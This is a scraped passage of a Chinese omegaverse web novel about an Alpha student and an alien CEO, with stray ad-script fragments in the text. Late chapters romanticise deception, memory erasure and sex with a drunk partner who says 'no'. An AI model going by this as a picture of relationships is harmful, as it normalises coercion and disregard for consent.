远离命定伴侣的滋味并不好受,尤其是原烙音在低迷期的举动,在他心底留下无法否认的痕迹。 即使他明白年轻Alpha别有用心。 他在违背基因的本能,逼迫自己压制即将喷涌而出的信息素,将原烙音推开。 没什么大不了的,原烙音天生易感期混乱,那是很难治愈的病,不管出于何种身份,他都要做到远离。 那是最好的选择。 双方都不会有任何损失。 “以后原烙音再来IMS,你可以用任何理由阻止他上楼。”切断见面虽然残忍,但足够有效,时间会冲淡一切。 他几乎能想到Alpha张牙舞爪狠狠咒骂他不识好歹的模样。 敲门声响起,闵随挂断电话。 “进。” 是谢垣。 金牌助理,万年狗腿子那库斯正捧着手机,愁眉苦脸仿佛下一瞬他的头颅就会变成一株含苞待放闪着蓝色荧光的花骨朵。 那是他们种族的真实形态。 【原烙音:谢助理,冒昧打扰您】 【原烙音:虽然有些唐突,但我想知道闵先生为什么不愿意见我】 【原烙音:如果您方便,可以告诉我吗?】 手机上的三条微信消息排列整齐。 谢垣来找他的原因显而易见。 “老板,怎么办啊?”说实话,谢垣从未见过哪一个塔卢索最终没有臣服于命定,闵随现在不过就是负隅顽抗,对方攻势太猛,总会有弹尽粮绝的一天。 长远来看,得罪闵随都不能得罪原烙音。 “谢垣,你说我该怎样才能让他死心?”闵随语出惊人,“我如果接近他,那他的易感期就会因为我逐渐无法压制,但临时标记。” 他苦笑一声。 “没有塔卢索的信息素会伤害伴侣。” “您要是真为他好,就拒绝吧,留些希望让人惦记。”谢垣心一横,“就狠一些。” 闵随若有所思。 【闵随:是我】 【闵随:谢垣是我的助理,保护我的隐私也是他职责所在】 【闵随:欢迎你日后加入IMS】 【闵随:感谢你在新年的陪伴,小原,你的研三即将结束,届时毕业事务繁多,宝贵的时间不必浪费在我身上】 谢垣利用异能看到闵随发出去的消息,瞪大眼睛。 脑子被狗啃了?!< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>完了完了,他要是原烙音看到这些话绝对不可能再找闵随。 【原烙音:嗯】 【原烙音:(语音19s)】 闵随点开。 “闵先生,您的理由我拒不接受。我的新年愿望并没有改变,且会为了实现它一直努力。” “联系谢助理是我思虑不周,很抱歉给您带来困扰,但希望你不要拒绝我的追求。” 原烙音看着发送成功的绿色泡泡,恨不得把闵随揪过来当沙包打。 易感期搂搂抱抱,现在知道当正人君子了! 要不是拉乌斯蒙德闵随把持不住咬他一口,他何至于此! 原烙音没有忘记室友交代的事情,要去看他们乐队在海鸥广场的表演,还要帮他把吉他背过去。 今天是少有的天气回暖,只不过温度还是不高,原烙音找出件大衣,背上室友打来八百个电话提醒他带吉他出门。 海鸥广场恰如其名,每年有近半的时间,海鸥在此停驻。 圆弧形广场中央是巨大的爱神雕塑,上世纪诞生的石像经历岁月的侵蚀,留下斑驳的痕迹,手持弓箭背生羽翼的爱神脸上有两条泪痕。 结冰还未融化的水池旁坐着年迈的老人,他闭上眼睛,手风琴发出悦耳的声音,海鸥在他身边停驻,啄食他专门分享的一半面包。 步履蹒跚的孩童,在家人的鼓励下举起面包喂给可爱的动物,入目之处皆是舒展的洁白翅膀。 海鸥广场外总是车水马龙,这里是城市交通的枢纽,不远处的停车场永远没有空位。 广场旁停靠时间不超过八分钟,算是极为人性化。 “我去买包烟。”闵随没有烟瘾,他没有尼古丁麻痹自己的爱好,只是应酬需要。 “我替您去。”谢垣道。 “不用,你在车上等着,如果超时就绕一圈回来接我。”闵随说完便推门下车,他快走到中心,忽然望见什么停下脚步。 太阳似乎是眷顾漂亮的Alpha青年,他的侧脸暴露在阳光下,与身前的爱神像仿佛融为一体。 原烙音单肩背着吉他,从海鸥群中穿过,驯养成功的海鸥爱上嗟来之食,不再因为路过的人类翅膀翻飞。 刻意购买的面包派上用场,不过几小块根本不够鸥群争夺,原烙音在洁白的幻影前露出右边的浅浅梨涡。 长时间的注视不被发现可能性很低,原烙音转过头去,正好小孩顽皮将一包鸟食抛向空中引得海鸥争夺。 海鸥翅膀缝隙中,他与闵随对望。 七十八块砖,五十八点五米的距离,眼神的对撞极为激烈,一两秒转瞬即逝的交融显得暧昧非常。 原烙音很合时宜地想起一句话。 对视,是人类不带情欲的精神接吻。 但两秒过去,他只是朝闵随勾唇一笑,轻轻点点头,转身离开。 闵随的目光并未追随Alpha的背影,而是很自然地走向广场的商店,仿佛刚刚的停顿只是错觉。 他忽然没有那么想抽烟了。 “先生,您想要什么?” “糖。”闵随脱口而出,却立刻陷入尴尬的空白,他在老板疑惑的眼神中补充道,“青柠味的。” 低迷期之外,没有信息素牵扯的对视,他感受到心脏在以人类不可能拥有的频率跳动,而触手也蠢蠢欲动,想要出现表示它的喜悦。 对于老板带着一包格格不入的绿色硬糖回来,谢垣觉得意外但没有多问。 谁知道闵随刚关上车门触手便瞬间出现,在车厢中群魔乱舞,每一根都在洋溢着喜悦。 “低迷期后遗症,刚刚看见原烙音了。” 哦。 谢垣懂了。 思春。 20. 第 20 章 与闵随能够名正言顺的交际几乎为零,眼看着进度始终保持在0%,原烙音终于找到机会。 闵随与IMS其余高层准备步行去宴会厅,他耳边下属在汇报工作,目光却牢牢锁定台阶下搓手取暖的Alpha青年。 他看过原烙音的微信,却选择已读不回,也因此明白Alpha出现在这里的原因。 再回避就不太礼貌了,闵随让随行人员先离开,三两步走到原烙音身边。 “小原,很抱歉没有及时回复你的消息,是找我有什么事吗?” 非来不可的理由并不需要合乎逻辑,只要是见到闵随,他就达成了目的。 “闵董,IMS举办的展览会能够给我一个名额吗?”原烙音开门见山,他知道现在的闵随不会给他时间浪费。 话音刚落,闵随的脸上浮现出微妙的神情。 闵董。 认识的人大多这么称呼他,里面却从来没有原烙音。 这是一个十分生疏的称谓。 他并不否认自己可笑地因为一个称呼而升起烦躁的情绪。 “IMS近期只有一个活动。”这种不需要他出席的场合他也只是有个浅浅印象,“若我没有记错,那是艺术展览会。” 他与原烙音相识不久,但也知道年轻的Alpha不同于堂弟,没有半点艺术细胞。 “这件事不归我管。”闵随的话语带上即将拒绝的色彩,“邀请函只有128封,由IMS旗下华润公司的艺术总监亲自送去,两个月前就已经结束这项工作,如果你真的很感兴趣,我可以让谢垣联系她。” “有什么问题你可以与她交涉。”闵随眼神很暗,他在汲取Alpha藏在抑制贴下的信息素。 多日不见,闵随度过新年那段孤独工作的漫长时期,他在医生的建议下恢复正常的作息,终于摆脱疲态。 “然后呢,这种事情就不要再找您了对吗?”原烙音更多是对于算盘落空的恼羞成怒,即使不喜欢闵随,但对方退避三舍的行为也稳稳踩中他的雷区,“是我打扰您了吗,所以几十条消息您回复一两条,让前台告诉我您在出差归期不定。” 他从来没被人这么对待过。 不甘或许是有的。 若非腺体需要利用闵随,他永远不可能主动将回归平行的线交叉。 想起自己本来就是居心不轨,原烙音也没底气生气。 “我觉得我之前已经说得很明白了。”闵随不理解Alpha的执着,他在想这是否就是年轻人的热血,“原烙音,不要把你的时间浪费在我身上,感情对我来说不是必需品,IMS是我的心血,也是我的一切。” “闵董,特食答应和解有我的功劳,您不会忘了吧。”原烙音道。 “小原,在送你去机场的车上,你就已经索取报酬了。”或许是没有想到他会拿这件事做筹码,沉默地注视Alpha几秒,“我想你应该明白,一件事不会有两份酬金。” “我不想明白。”原烙音语速放得很慢,带着充斥着眼睛的倔强。 闵随最后还是什么也没有说,他不愿在路边与原烙音纠缠,更不会将他带进公司以免牵连更深。 就这样,是最好的结局。 他们之间没有任何羁绊,也没有利益冲突,唯一的一件事也已经银货两讫。 即使没有回头,他也知道Alpha始终站在原地,手背冻得通红。 他知道原烙音倔强地站在门外,直到玻璃门关闭。 他找到谢垣。 “这两天你抽空把艺术展的邀请函给原烙音。”他本来不想再管,但给予原烙音的报酬与他得到的利益太不对等,只是补足缺失,算不得第二份酬金。 “什么东西啊。”谢垣打开一看,里面的字迹再熟悉不过,是闵随亲笔。 老板这又是在装什么? “您不是不去吗?”不是什么重要的活动,邀请的群体也够不上闵随出席。 “我是不去。”开年还有很多工作要做,闵随每一天的行程都规划定格,“他要去。” * 闵随还是去了。 他对艺术并没有太大的兴趣,在计划之外的社交足以令他烦躁,他借着身高优势在人群中检索,却始终一无所获。 耳边合作伙伴正在与他分享观看画的心得。 名字和作者都说错了,也不知道在装什么。 “王总,暂时失陪。”闵随忽然看到了沈清诺,一闪而过的念头他并没有抓住,但他向来不是守株待兔的行事风格。 “闵先生!”沈清诺还记得这位一面之缘的Alpha,事实上他首选的未来工作单位依旧是IMS,没人会不认识大老板。 “卓蒙的学生,我记得你。” 喜欢原烙音的Omega。 上次在安全屋,他已经洞悉一切。 “没想到你也喜欢这一类的艺术展。”闵随不着急知道答案。 “嗯,这里有我妈妈的一幅画,我想带回去。”艺术展之后便是拍卖会,沈清诺说到这里连眼睛都亮了起来,“多亏了我学长帮我要到邀请函,还借钱给我。” 不用再问下去了,他笃定那位学长就是原烙音。 “你会得偿所愿的。”闵随转身离开,望了眼身侧努力把存在感降低的谢垣。 “老板。”谢垣讪讪道,“原先生……” 连金牌助理也不知道该如何解围。 这都是什么事啊,老板的命定伴侣为了别的Omega找老板帮忙。 这足以点燃占有欲爆表的塔卢索,现在只需要祈祷闵随真如他所言对原烙音止步于信息素带来的好感。 “原来是给沈清诺的。”闵随半晌发出一声哼笑,语气中暗含的不满让同处一室的谢垣汗毛竖起胆战心惊。 他苦着脸。 哦豁,完蛋! 祈祷失败! 他就知道塔卢索都是死鸭子嘴硬! 闵随下意识摸出揣在身上的青柠硬糖—— 那一包随意买下的糖果放在车上,只剩下三分之一。 “唰”的一声,两颗糖果飞进垃圾桶,提前结束生命。 “老板,符医生下午有空,你要不过去看看?” “不用,只是戒断反应。”闵随厌恶一切不受掌控的东西,他扮演人类跻身上流,将钞票玩弄于股掌之中。 特殊的性别,强横的信息素,凌驾于人类之上的能力,成为他无往不利的武器。 但他遇见了唯一不可能受控的命定伴侣。 塔卢索一生都会忠于伴侣,祂们会心甘情愿地臣服。 “老板,你有没有想过你抵御本能推开原烙音后,该做什么?” 闵随闻言只是沉默。 继续按部就班建设IMS商业帝国,在合适的时机换上新的躯壳,度过他近乎于无尽的岁月。 但他真的是这样想的吗? 或许垃圾桶里的青柠硬糖已经告诉他答案。 他失败了。 “谢垣,你不懂,这件事不是非黑即白那么简单。”闵随看着瓶里萎蔫的花束,随手捻下干枯的花瓣放在掌心揉捏,“我的信息素会伤害到他,他也会渴望我,临时标记,完全标记,换来的可能是死亡。” “而且,看到爱人逐渐衰老直至停止呼吸的过程是痛苦而无力的。”闵随的眼神放得很长,他定定看向要价昂贵的女神像,“我能请最好的医生,但标记的痛苦只能他一人承担。” “他应该自私一点,而我应该为他考虑。” 他的眼前浮现出原烙音的模样。 不知不觉他们已经拥有那么多共同记忆。 但这些看似美好的画面如同浮光泡影一触即破,因为那都建立在谎言之上。 原烙音不肯透露的真实目的,与他虚假的人类Alpha身份,但他们又发生了最亲密的人才能进行的标记。 谎言是没有打好的地基,那些各怀鬼胎的故事铸成高楼,谁也不知道哪一日会骤然坍塌。 “你怎么知道他害怕你的真实身份?”谢垣不理解闵随的想法,“你没有尝试过,又怎么知道陪伴他老去不是幸福而有趣的呢?”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “没有人会愿意自己的伴侣拥有丑陋畸形的触手,甚至是个不懂得爱的怪物。”闵随用最恶毒话语肆意贬低自己,所有塔卢索都告诉他“爱”对于祂们,是与生俱来,是无师自通。 他并不觉得自己想要掐住原烙音的脖子,撕咬他腺体的龌龊想法是爱。 “信息素的伤害只是假定,您真的要为不会到来的悲剧放弃自己的命定伴侣吗?”谢垣觉得不可理喻,那库斯种族崇尚利益与金钱至上,他们的爱只占生命10%,并且10%的100%还是钱。 他永远不会因为可能到来的亏本放弃下注。 这对于塔卢索也是一样的。 “原烙音并不喜欢我。” 闵随也注意到自己主语的切换,那是他卸下点点心防后迫不及待飞出的想法。 是这样吗? 是原烙音不喜欢他,而并非他不喜欢原烙音? “我也不喜欢原烙音。” 他补充道。 绝对理智,是他引以为傲的天分。 正因如此,他在波涛诡谲的商海永远独占鳌头,决策建立在理智之上。 他不懂爱。 对于原烙音只有信息素吸引的好感,或许还有低迷期陪伴的感动。 但那都不是爱。 谢垣自动忽略他后半句话,现在闵随的否认心意在他这里都是负隅顽抗。 “塔卢索的命运指引从未出错,退一万步说,难道普天之下的伴侣都是最合适对方的吗?” 基因是自私的,他会选择于塔卢索而言最契合的伴侣,但对于另一方,往往塔卢索并非首选。 “您好好想想吧。”谢垣带走文件。 他离开后,闵随摁亮熄屏的手机,上面是Alpha搞怪的大头照。 【今天很开心!!!】 他不止一次在夜深人静时刷原烙音的朋友圈,由此不可避免地对这个鲜活的生命有好感。 或许自己的心意正逐渐倒戈。 他不在意原烙音想要索求什么,只要Alpha想要,他都可以给予。 那就,顺其自然。 【闵随:艺术展怎么样】 他厌恶谎言,但不能不承认他与原烙音之间横亘了太多无法明说的秘密,他甚至在祈祷原烙音会坦白。 【原烙音:闵先生不好意思,我今天并没有去】 【原烙音:今天出了bug,我在实验室待了快一天,或许还要更久】 闵随松了口气,至少原烙音没有撒谎。 写程序出现bug花费大量时间是在正常不过的行为。 * 原烙音从始至终就没有想到闵随会去艺术展,毕竟一分钟恨不得掰成十分钟来用的工作狂怎么愿意在这上面消耗时间。 沈清诺很兴奋,他用低于内心最高价的钱买回了妈妈的遗作,见到自己一直喜欢的画家,还拿到了签名。 自从寒假结束返校后,沈清诺迅速调整好状态,迅速斩断自己刚刚萌芽的爱情,朋友做得恰到好处。 他是个很有距离感的Omega,原烙音想。 Omega缠人的功夫仿佛是与生俱来,只要他们想,只是软着腔调请求,无关情爱,也没有生物能够抵抗。 “学长,你今晚想要吃什么!”沈清诺想用一顿饭表示感谢。 “你选。” 闵随听见熟悉的声音偏过头,见到勉强算是亲昵的两个身影,眯起眼睛,半晌后露出意味不明的冷笑。 今天温度低,Alpha穿着黑色连帽衫,搭配着休闲裤,与Omega恰好是情侣色。 什么邀请函,什么程序bug。 原烙音还是骗了他。 “小原,晚上好。” 原烙音笑容僵在脸上,他转过头,仿佛能够听见自己脖子发出机械似的“咔咔”声。 高大的身材,合身的宝蓝色西装,就像刚下秀场的顶级模特。 他露出极其尴尬的笑容,大脑飞速运转。 完蛋! 闵随怎么在这!!! 50-60 第51章 第 51 章 “我去给你拿药了, 需要注射,做好准备。”符忍盛接触到原烙音投来的眼神,心虚地撇过脸。 原烙音点点头,他并不是很好奇。 “事先说明, 这个药有致幻性, 从生物中提取很难将有效物质与致幻物质分离, 但经过新陈代谢后不会有残余。”符忍盛熟练地将药注射进原烙音的腺体, 见Alpha咬牙忍疼不动的样子也很是心疼, “药是闵随给的, 只要没有不适反应基本可以判定为痊愈, 到时候你做个全身检查。” 符忍盛按下按钮,电动窗帘主动闭合, 灯也关了,房间瞬间堕入黑暗。 一旦剥夺视线,其他感官短时间会更加敏锐, 比如听觉。 隔音玻璃几乎阻断了所有外界声音,能听进耳朵的响动都是他创造出来的。 鼓点有规律地敲击着, 越来越快, 直到最后一声他仿佛坠入海底, 窒息感逐渐攀升, 他听到了传说中能够使水手主动撞击礁石的海妖吟唱。 记忆中的空白被蔚蓝的海水填满洗刷, 最终出现它原本的色彩。 原本误以为完整的拼图最终补上最后一块, 终于显现出它本来的模样。 拉乌斯蒙德他易感期爆发认知失调, 他不知道白天与黑夜,鼻间是没有交缠的乌木与青柠, 临时标记建立起那一刻的极端痛苦,被占有压迫的不甘历历在目。 他看见过闵随的触手, 在黑夜中闪着点点蓝色荧光,但记忆随着关门彻底留在了拉乌斯蒙德的海滨酒店。 这就像洪水冲断某一闸口,碾平一切的气势再也无法阻挡,只能瘫坐在地悲哀地看它吞噬树木与村庄。 所有他忽略或者是遗忘的点都存在于他的大脑,他丢失的潜意识会为他记得。 学校爆发的易感期,闵随从IMS到他的宿舍最多只用了十分钟。 Enigma撒谎都不高明,当初他们citywalk遇到的怪物,他对上一眼就瞬间昏迷,就算是报警如何能够短时间制服那样的生物,甚至那么严重的伤,闵随恢复极快,到现在甚至没有半点疤痕。 太多细节了,只不过他都因为莫名的力量刻意忽略。 他伸手抓去,攫取到的只有虚无。 闵随赠送他那枚触手交缠形状的胸针,抓到嘟呶的神秘生物与闵随重合的西装花纹,他睁开眼,黑暗当中出现他始终莫名刻意忽略的眼睛。 那是闵随的眼睛,黑得像墨,里面有无数触手在搅动。 他摸上自己的手臂,回想起闵随绝非正常人的体温,只是当时被他用Enigma身份搪塞过去,而男人的脸与身材完美得就像是最精致的建模。 他吞咽唾沫,舌根残余着特供药的甜味。 闵随第二次骗了他!在他给出机会后闵随搪塞,他怀疑后闵随直接抹去他的记忆! “骗子!”原烙音愤怒地捶击束缚椅,他的情绪难以控制,几乎与他易感期的攻击性等同,能够束缚住常量级Alpha的黑色绑带轻而易举被他撕裂,深灰色无袖汗衫边缘是隆起的肌肉,原烙音拼尽全力控制理智不要破坏公共设施,“骗子!闵随!骗子!” 这哪是什么特供药,这就是闵随喂他的不知名东西。 不管是谁,都不能够接受一次又一次的欺骗,他毫无保留的原谅,换来的是变本加厉的伤害。 就算这是闵随良心发现想让他知道真相又如何呢? 在谎言诞生的那一刻,利刃就稳稳扎入他的心里,在发现的那一刻拔出带出附着在刀刃上的血肉,让他好不容易愈合的伤口再次鲜血淋漓。 玻璃门打开,符忍盛冲进来跪倒在地抱住原烙音。 “小原,小原,看着我,看着我。”这是在Enigma精密计算之外的结局,没人想到原烙音的心率会飙升到能够猝死的程度。 “我没事,符医生。”原烙音喘着粗气,由于情绪过于激动他已经产生过呼吸的症状。 “痊愈了吧。”他努力支撑出笑,无奈只坚持不到几秒钟,眼神的落寞带动嘴角的苦涩,又酸又麻,“身体没有不适反应,我好了。” 他的腺体里面永远留存着闵随抽无数遍血提取出的两小管信息素提取液。 爱与恨同根同源,无论闵随有多少瞒着他或是欺骗他的事情,仅仅救命之恩他就不能真正平等地站在恋人角度责怪。 免死金牌。 偏偏一切的开端都是他一手促成,任谁来看他不过就是得了便宜还卖乖。 “符医生,你知道什么是免死金牌吗?” 他丢下这句话,右臂撑着地面站起,颤颤巍巍往外走,高大的背影摇摇欲坠,就像下一秒就会控制不住倒地痛哭。 回到问诊室,他路过闵随,沉默地躲开Enigma伸来的手,等符忍盛进门后将闵随拒之门外。 痛感席卷全身,闵随的手指控制不住的扭曲蜷缩,但他并不后悔,即使知道自己的玫瑰可能永远闭合花瓣。 一墙之隔。 “老师您回来了,为什么抽中我去参与那个怪物的解剖啊,那个东西连枪都射不死,我一个腺体科的凑什么热闹?”刘医生等符忍盛许久,见到自己的老师就凑过来,“还要签保密协议,我要失踪三个月还不能告诉家属去向,这不是要我的命吗?” 他叽叽喳喳说了一大通,原烙音从只言片语中听出那是在拳场和学校遇见的怪物。 “那麻醉呢?”Alpha插话道。 “怎么可能?”刘医生当即否定,“枪都射不穿,针更打不进去了。” 那当初鸟笼千钧一发之际,闵随是怎么开枪救下他的呢? 他将自己几个小时前剩的水一饮而尽,打开本来就没有上锁的门,不由分说一拳砸过去。 他没有收力,那样的力道就算是经过抗打击训练的职业拳手也未必能一声不吭,但闵随只是偏过头去,很快恢复原状,一瞬不移地盯着他,眼睛深不见底,就像是黑夜的深海翻涌的墨色浪花。 “你真的没有事情骗我吗?” “没有。” 问的人明知故问,答的人胡乱回应,嘈杂的走廊安静下来,默不作声看向这对量级很高的Alpha争吵。 原烙音抓住闵随的衣领,把人抵到墙上,他注意到Enigma还带着金丝眼镜,愤怒逐渐盖过悲伤。 “再问你一次,有没有骗我。” 他固执地追问,非要求得一个答案,但终究答非所愿。 “没有。” “你要和我分手吗闵随?”原烙音松开手,逐渐往下蹲去,就像是只会整朵掉落的红色山茶花。 他生活在爱中,亲人教会他如何汲取爱,表达爱,却没有教过他如果伴侣是裹着蜜糖诱人上钩的匹诺曹该怎么办。 “不,当然不。”或许只有与Alpha一刀两断这样的无稽之谈才能够牵动Enigma刻意冰封的情绪,他单膝跪地想要捧起Alpha的脸,毫不意外地被躲开。 “别逼我,闵随。”原烙音咬牙切齿,眼泪在眶中打转,那是极度委屈的模样。 “我再问你一次,你有没有骗我。”他一字一顿,仿佛得到最终答案就能够心无芥蒂地放下这段感情,甚至送给昔日伴侣一个友谊的拥抱。 “你不是都知道了吗?”闵随轻声反问。 “闵随,你他妈混蛋!”原烙音头一次爆粗,他掐住闵随的脖子,那些绝对能够刺痛闵随的话已经化成利刃却只割伤了他自己的口腔黏膜,因为他明白覆水难收,就如同欺骗一样,说出来刺痛对方的话,也会割破自己的心脏,只是占上风的快感促使分泌肾上腺素,暂时忽视痛感罢了。 原烙音松开手,他无助且绝望,没有想到自己唯一一段感情就这样走入穷巷。 “你不承认我就当不知道,我会一直问。”原烙音站起身,他脱力靠在墙面,始终低着头不给闵随任何一个眼神,“我们别一起回家了,我现在不想见到你。” “我现在很生气,极大可能口不择言,分开走吧。”他朝他们来时的反方向走去,那是离车库最远的出口。 闵随拉住他的手腕,在原烙音回头甩开的过程中,终于看到爱人通红的眼眶。 他好像被没有滴落的眼泪灼伤,主动松开手。 望着原烙音拉长的背影,他终于明白想让对方远离自己的行为,伤害的不是自己,而是对方。 直到这一刻,闵随才恍然发现,他不懂爱。 即使他是塔卢索,他也不懂爱。 他望向原烙音消失的转角,不敢再使用塔卢索的能力,只能闭上眼睛,假装自己能够听见他缓慢下楼的声音。 啪嗒啪嗒,可能走到底楼了。 等原烙音走出大门呼吸到第一口新鲜空气时,心底的沉闷仿佛挥散些许。 “哥哥,哥哥,您的东西掉了。”女孩的声音忽然传来。 原烙音转过头去。 “从你口袋里掉出来的。”小姑娘看上去才四五岁,说话也不太清楚。 原烙音蹲下身接过打开那张皱皱巴巴的纸团,这才想起是他在别墅无聊画的闵随,当时怕被认真开线上会议的正主发现,匆忙揉成一团塞进兜里。 他摸遍全身,终于找出一颗青柠味的糖果,只不过塑料外壳比纸团还皱。 “送给你。” “哥哥还是留着吧,这颗糖一定是哥哥很喜欢很喜欢才会留那么久。”小女孩摇摇头,在她的世界只有一直留存才会那么旧,“哥哥都是大人了,大人不喜欢吃糖,你一定很喜欢这一颗。” 一定很喜欢,才会留在身边。 一定很爱,才被屡次欺骗还相信对方必有苦衷,不愿意恶语相向。 那颗青柠糖,留了多久呢? 第52章 第 52 章 他从来没有觉得这一段路这么难熬。 傍晚的风拂过面颊, 天刚刚擦黑按照时间设定好开关的路灯一盏一盏点亮,向前蔓延。原烙音的口腔残留着青柠硬糖含化后的酸味,路边三三两两的路人传来聊天的声音,那群年轻人在嬉笑打闹。 他静静地看着, 有点想喝水。 自己曾经也在同样的位置, 同一片人工湖边, 同一盏路灯下, 与Enigma抬头往上看, 数着天空中飘过的边际模糊的深紫色云烟, 笑声沉闷又张扬。 原烙音坐在长椅上, 捏扁空掉的易拉罐,精准投向垃圾桶, 然后弯下腰双手扶住额头。 闵随。 又被骗了。 能够看出闵随有苦衷又如何,短期再犯,这次揭过后也会有第三第四次, 直到无数次。 他警告自己不要再心软,就算不想就这么与闵随一刀两断, 也绝对不能那么轻易的原谅。 在爱中成长的小孩永远不会锁上自己的房门, 长大后也只会对着爱人袒露柔软的腹部, 直到被刺伤被击打, 才会不敢置信地爬起捂住腹部, 就算是这样也不愿意用身后的尖刺伤害对方。 湖中的鱼浮上水面呼吸, 察觉到有路人的脚步声尾巴一甩潜入水底, 留下破碎的气泡与扩散的涟漪。 原烙音双手插兜沿着湖边栈道走了一圈又一圈,他路过别墅很多次, 知道闵随隔着窗户看他,但都低下头假装只是路过。 路灯的光越来越亮, 在漆黑的夜空撕开数道裂缝,将光投向世界,照亮湖边杂乱的野草丛,原烙音看到有人在钓鱼。 见钓鱼佬拉上来空钩,他双臂交叠倚靠在护栏边,继续盯着Beta钓鱼。 “嘿。”Beta注意到他的目光,转过身来,随意耸耸肩,“今天运气不大好。” “这么晚了还不回去?”对方热情搭讪,将新一杆抛下水后就踩着来时的标记,深一脚浅一脚地走到护栏下。 原烙音看了眼测量仪,果然都快十一点了。 但是他不想回去。 “年轻人,吵架的话最不能就是冷战……”中年Beta看出他的想法,耸耸肩,“要是不想回去,我这里还有多的鱼竿,晚上安静,就是蚊子有点多。” “不了。”原烙音摇摇头,“谢谢您。” 该回去了,最不应该逃避的就是他。 他往回走,在声音的尽头,听到Beta的欢呼,像是钓上条大鱼。 不知怎的,这样的笑声也感染了他,Alpha的嘴角弯出细微的弧度,直到他站定,目视前方。 远远的,他看到坐在别墅台阶上的闵随,西装革履,就像是刚刚应酬完在门口休息。 视线中的Enigma抬起头,望向他。 那么远的距离,眼神交际几乎是不可能的事情。 但偏偏就发生了。 “我有话问你。”原烙音单手插兜,现在是秋末,天气有些凉,他的黑色连帽卫衣很合身,有线耳机从衣领处伸出,只带了一边。 他越过闵随去开门,擦身而过的瞬间被Enigma拉住手腕,力道很大,不能轻易挣开。 “松开。”他警告道。 闵随攥得更紧,几乎是发疼的地步。 原烙音偏过头吐出一口气,空出的那只手将挡在脸侧的碎发捋开,被握住的右手转动,几乎要将Enigma的手腕扭断,才让对方松手。 “我警告过的。”原烙音没有半分愧疚,右手缩回兜里,用指纹打开门,再也没有回头。 手腕几乎断裂的痛感只持续了几秒就消失,闵随想起半分钟前原烙音冰冷的目光,想要坦白的心思一闪而过,但很快就被否决。 解决西亚莉之前,必须按照她的意思,生离。 因为西亚莉知道如果原烙音受伤,他会不惜一切代价摧毁她伴侣再次轮回的机会,让这对苦命鸳鸯彻底灰飞烟灭。 这样原烙音才会彻底安全。 他卑鄙且浅薄,从认识到自己沦陷的那一刻就再也没有想过要放原烙音走,原氏集团的少爷,朋友的学生,什么都不重要。 但他不能让原烙音对他恨。 所以在唯一意料之外的Enigma计划暴露后,他迅速调整,知道亲手戳破塔卢索身份这一天迟早到来,于是放弃抹去原烙音关于发现他是新性别的记忆。 这会是他挽回Alpha的手段。 “柠檬水还是酒?”原烙音打开冰箱取出闵随熬的柠檬糖,加了很多糖,连柠檬片都是甜的。 “柠檬。”闵随道。 “你不是不喜欢甜的吗?”原烙音泡好柠檬糖水,推给闵随。 烧水的两分钟,冲泡的半分钟,还有数不清的分与秒,只有一个共同点,沉默。 唯一的光源来自落地窗外的路灯,闵随看见他打开瓶酒,度数很高。 “音音?”终于在原烙音连开三瓶不同种类的酒后,闵随忍不住问出声。 这样的喝法,牛都得醉。 “腺体需要信息素加固,临时标记的浓度不够。”原烙音将三类酒倒在一起,仰头喝下,味道并不好,水蜜桃葡萄苹果加上酒精天然的苦涩冲击着味蕾引起呕吐反应,Alpha出现眼睛微红的生理性反应,“我没喝醉过,不知道这样会不会醉。” “我不想清醒地和你做。” 闵随登时愣在原地。 原烙音挪开眼,混着碎冰将剩下的混合酒喝下,他始终没有笑容,也没有大仇得报的快感,就平静地陈述自己的需求。 Alpha的眼神冰冷,他重新混合新的一杯酒,知道闵随不敢阻拦,变本加厉地喝。 “是你把我变成这样的。”原烙音丢开空掉的高脚杯,听它在地上发出最后的哀嚎,最后碎成无数玻璃片。 “闵随,Alpha这样的性别能够标记无数omega,生理上的优势赋予他们征服的绝对能力,只有道德才能约束我们。”原烙音放一块冰在自己的舌尖,保持短暂的清醒,避免自己说出无法挽回的话,“而因为你的完全标记,我永远失去了这样的能力,身体机能下降是短期的,选择却是不可逆的。” “而你,能够抛下我去找其他人,现在我们相爱呢,那一年后十年后二十年后,不是所有人都像我的家庭那么美满的,在这个圈子我们原家才是别人眼中的异类。”原烙音眼神落在闵随一口没喝的柠檬水上,嗤笑一声,“滥情成为主流,专情就是笑话,而滥情的连带节目就是谎言。” 闵随的拳头攥紧。 塔卢索只有命定伴侣这一选项,除此之外就只有死亡,他能够放弃自己的生命,都不可能不忠于爱情。 “别说了,我不想问了。”他在医院问了那么多次,闵随都闭口不言,“回房间吧,完全标记。” 他萎缩的生殖腔又会迎来阔别已久的养料,但这片腐朽的土地永远也不会生长出幼苗,这由Alpha的生理决定,就算是Enigma都不能改变。 关闭的房间内只有压抑不住的喘息,原烙音踢开闵随的脑袋,他的脸上遍布潮红与汗水,青柠信息素从腺体溢出满室飘香。 结实的右臂挡住眼睛,他拱起腰:“喝太多了起不来,别浪费时间。” 闵随抬起脸,舔了舔唇角,又埋下头去。 这一次原烙音直接坐起身,抓住闵随的头发拉开,他的脖间由玉佩替换成chocker,就像是omega的防咬环。 “都说了直接来,做不好就滚。”说完后他又忍不住腰酸躺回原位,感受乌木与青柠的碰撞,手指深深陷进柔软的被子,腿往Enigma身上踢。 闵随往前,想要接吻,但被原烙音避开。 “我只要完全标记。”现在的情形是无奈之举,但凡不是需要那该死的信息素加固,他绝对不会放任和闵随稀里糊涂标记。 Enigma现在不敢违抗他的命令,只能顺着脖子往下亲,直到腺体。 啄吻,舔舐,就是迟迟不咬。 “你咬不咬?”原烙音又抓住闵随的头发,此前他从未有过这样粗暴的行为。 下一瞬乌木浸润全身,几乎压迫所有的青柠,它迫使躲在角落瑟瑟发抖的Alpha信息素缴械投降,主动献上自己。 交缠,标记加固,乌木填补腺体不存在的空缺,闵随的皮肤是微凉的。 原烙音的唇被掠夺攫取,可笑的是信息素镇压下他不能够再挥发出能够扭断闵随手腕的力道,只有任由自己的空气进入别人的胸腔,摇晃的小船唯有祈求带给它惊涛骇浪的深海,不要给予它能够毁灭一切的浪潮。 唇分开之际,原烙音还没来得及多喘两口气,就看到Enigma眼中搅动的触手。 他如遭电击,几乎是瞬间就知道闵随要做什么。 “闵随,不……闵随!” 可惜晚了,闵随并没有因没力气的威胁止住脚步,他埋下头,狠狠咬穿心脏上方的腺体,同时也挤进不欢迎外来访客的伊甸园。 他们分食鲜艳的苹果。 